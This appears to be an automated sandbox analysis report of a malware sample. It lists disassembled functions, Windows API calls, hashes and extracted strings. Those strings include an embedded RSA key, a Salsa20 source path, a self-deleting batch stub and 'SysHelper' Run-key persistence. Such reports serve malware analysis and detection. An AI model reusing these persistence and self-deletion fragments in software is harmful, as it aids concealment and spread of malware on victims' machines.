Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7, xrefs: 00419EC4

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7$p2Q
API String ID: 2102423945-533411867
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

delself.bat, xrefs: 0041261C
"if exist ", xrefs: 00412648
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
@echo off:trydel ", xrefs: 0041262A
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
" goto try, xrefs: 00412666
TEMP, xrefs: 004125DF
del ", xrefs: 00412674
D, xrefs: 00412720

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----END , xrefs: 0046382F, 00463940, 004639E4
, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 8263a72b855e29a39bdee4ea7f090d0f5430f991cf24ec88085b72484d7b4329
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 8263a72b855e29a39bdee4ea7f090d0f5430f991cf24ec88085b72484d7b4329
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 18.1, APIs: 12, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 00425BA7
__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson__wsetlocale_nolock_wcscmp
String ID:
API String ID: 2762079118-0
Opcode ID: 2b40e43d70793016606602aa317456023add2290d893745beaa97b0b748815c2
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 2b40e43d70793016606602aa317456023add2290d893745beaa97b0b748815c2
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
